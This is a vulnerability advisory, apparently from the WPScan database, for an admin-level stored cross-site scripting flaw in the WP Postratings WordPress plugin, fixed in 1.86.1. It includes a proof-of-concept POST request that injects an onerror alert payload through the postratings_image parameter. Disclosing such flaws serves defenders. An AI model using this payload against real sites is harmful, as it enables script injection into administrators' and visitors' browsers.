WordPress Plugin Vulnerabilities
WP Postratings < 1.86.1 - Admin+ Stored Cross-Site Scripting
Description
The plugin does not sanitise the postratings_image parameter from its options page (wp-admin/admin.php?page=wp-postratings/postratings-options.php). Even though the page is only accessible to administrators, and protected against CSRF attacks, the issue is still exploitable when the unfiltered_html capability is disabled.
Proof of Concept
POST /wp-admin/admin.php?page=wp-postratings/postratings-options.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Content-Length: 1954 Connection: close Cookie: [admin cookies] Upgrade-Insecure-Requests: 1 _wpnonce=fad0d9fb37&postratings_image=plusminus_crystal\"+onerror=alert(/XSS/);/&postratings_max=2&[SNIPPED]&Submit=Save+Changes
Affects Plugins
Fixed in 1.86.1 References
CVE
Exploitdb
Classification
Type
XSS
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
Park Won Seok
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2020-12-24 (about 3 years ago)
Added
2020-12-24 (about 3 years ago)
Last Updated
2022-04-09 (about 2 years ago)
WPScan 